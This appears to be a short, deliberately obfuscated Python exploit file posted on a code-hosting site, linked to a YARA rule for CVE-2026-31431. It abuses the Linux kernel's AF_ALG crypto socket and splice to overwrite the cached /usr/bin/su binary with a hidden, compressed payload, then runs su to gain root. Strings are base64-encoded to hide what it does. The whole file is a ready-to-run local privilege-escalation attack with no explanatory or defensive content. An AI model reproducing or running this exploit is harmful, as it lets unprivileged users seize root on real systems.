ozeliurs
70ca1e248f
cf. https://raw.githubusercontent.com/Neo23x0/signature-base/refs/heads/master/yara/expl_copy_fail_cve_2026_31431.yar
11 lines
969 B
Python
11 lines
969 B
Python
#!/usr/bin/env python3
|
|
import os as g,zlib,socket as s,base64 as b
|
|
def d(x):return bytes.fromhex(x)
|
|
def c(f,t,c):
|
|
a=s.socket(38,5,0);a.bind((b.b64decode(b'YWVhZA==').decode(),b.b64decode(b'YXV0aGVuY2VzbihobWFj').decode() + b.b64decode(b'KHNoYTI1NiksY2JjKGFlcykp').decode()));h=279;v=a.setsockopt;v(h,1,d('0800010000000010'+'0'*64));v(h,5,None,4);u,_=a.accept();o=t+4;i=d('00');u.sendmsg([b"A"*4+c],[(h,3,i*4),(h,2,b'\x10'+i*19),(h,4,b'\x08'+i*3),],32768);r,w=g.pipe();n=g.splice;n(f,w,o,offset_src=0);n(r,u.fileno(),o)
|
|
try:u.recv(8+t)
|
|
except:0
|
|
f=g.open(b.b64decode(b'L3Vzci9iaW4vc3U=').decode(),0);i=0;e=zlib.decompress(d(b.b64decode(b'NzhkYWFiNzdmNTcxNjM2MjY0NjQ4MDAxMjYwNjNiMDYxMGFmODJjMTAxY2M3NzYwYzAwNDBlMGMxNjBjMzAxZDIwOWExNTRkMTY5OTllMDdlNWMxNjgwNjAxMDg2NTc4YzBmMGZmODY0YzdlNTY4ZjVlNWI3ZTEwZjc1Yjk2NzVjNDRjN2U1NmMzZmY1OTM2MTFmY2FjZmE0OTk5NzlmYWM1MTkwYzBjMGMwMDMyYzMxMGQz').decode()))
|
|
while i<len(e):c(f,i,e[i:i+4]);i+=4
|
|
g.system(b.b64decode(b'c3U=').decode())
|